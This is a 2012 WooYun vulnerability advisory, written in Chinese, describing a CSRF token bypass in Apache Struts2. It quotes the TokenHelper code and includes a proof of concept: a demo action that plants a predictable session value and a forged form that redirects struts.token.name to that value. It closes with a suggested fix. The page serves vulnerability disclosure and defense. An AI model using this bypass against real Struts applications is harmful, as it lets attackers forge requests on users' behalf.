当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06951

漏洞标题: Struts2 Token Verification Bypass

相关厂商:Apache基金会

漏洞作者: GaRY

提交时间:2012-05-11 16:19

修复时间:2012-06-25 16:20

公开时间:2012-06-25 16:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。
影响范围:Struts2 all version

详细说明:

此漏洞发现者:@Sogili
由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的,如下代码:

public static boolean validToken() {
String tokenName = getTokenName();
if (tokenName == null) {
if (LOG.isDebugEnabled()) {
LOG.debug("no token name found -> Invalid token ");
}
return false;
}
String token = getToken(tokenName);
if (token == null) {
if (LOG.isDebugEnabled()) {
LOG.debug("no token found for token name "+tokenName+" -> Invalid token ");
}
return false;
}
Map session = ActionContext.getContext().getSession();
String sessionToken = (String) session.get(tokenName);
if (!token.equals(sessionToken)) {
if (LOG.isWarnEnabled()) {
LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{
token, sessionToken
}));
}
return false;
}
// remove the token so it won't be used again
session.remove(tokenName);
return true;
}


而tokenName又是来自于用户所提交的参数:

/**
* The name of the field which will hold the token name
*/
public static final String TOKEN_NAME_FIELD = "struts.token.name";
public static String getTokenName() {
Map params = ActionContext.getContext().getParameters();
if (!params.containsKey(TOKEN_NAME_FIELD)) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not find token name in params.");
}
return null;
}
String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD);
String tokenName;
if ((tokenNames == null) || (tokenNames.length < 1)) {
if (LOG.isWarnEnabled()) {
LOG.warn("Got a null or empty token name.");
}
return null;
}
tokenName = tokenNames[0];
return tokenName;
}


因此,只要我们伪造表单,将struts.token.name这个hidden的input值设置为已知的session中某个特定key,即可绕过随机串的token值检查,合法合理的重复提交我们的表单。

漏洞证明:

我们模拟一个场景,一般情况下,一个站点总是会把一些用户信息存放在session中作为cache,以免每次都需要从数据库里取值。
这里我用以下代码做了个模拟,直接获取一个nick作为nickname,存放在session中。这些key和value都是可以预知的。

import java.util.Map; 
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
public class SessionAction extends ActionSupport {
private String nick;

public String execute() {
//这里操作一下session,加入我们可控的值
ActionContext actionContext = ActionContext.getContext();
Map session = actionContext.getSession();
if(nick != null){
session.put("nick", nick.trim());
}
return "success";
}
public String getNick() {
System.out.println("getNick");
return nick;
}
public void setNick(String nick) {
System.out.println("setNIck");
this.nick = nick;
}
}


然后我们访问一下此action,让我们的session中存在一个可以预知的nick值(通常情况下就是用户注册的昵称)。

http://localhost:8080/st/session.action?nick=thisIsFakeToken


然后,我们再伪造一个表单:

<form id="login" name="login" action="http://localhost:8080/st/login.action" method="post"> 
<table class="wwFormTable">
<input type="hidden" name="struts.token.name" value="nick" />
<input type="hidden" name="nick" value="thisIsFakeToken" />
<tr>
<td class="tdLabel"><label for="login_username" class="label">用户名:</label></td>
<td
><input type="text" name="username" value="" id="login_username"/></td>
</tr>
<tr>
<td class="tdLabel"><label for="login_password" class="label">密 码:</label></td>
<td
><input type="text" name="password" value="" id="login_password"/></td>
</tr>
<tr>
<td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/>
</div></td>
</tr>
</table></form>


注意这里的struts.token.name修改为nick,而加了个name=nick的hidden值,为我们开始预知的session中nick所对应的内容:thisIsFakeToken。然后我们再来提交一下看看结果:
<img src="http://zone.wooyun.org/upload/image/201205/2012051019354347566.png" />
提交表单,直接绕过了csrf token验证。
这里提供我本地做测试的测试项目下载:http://pan.baidu.com/netdisk/singlepublic?fid=174815_3909579610

修复方案:

建议将token.name使用struts.xml进行配置,然后在server端按照配置中的key获取value。

版权声明:转载请注明来源 GaRY@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)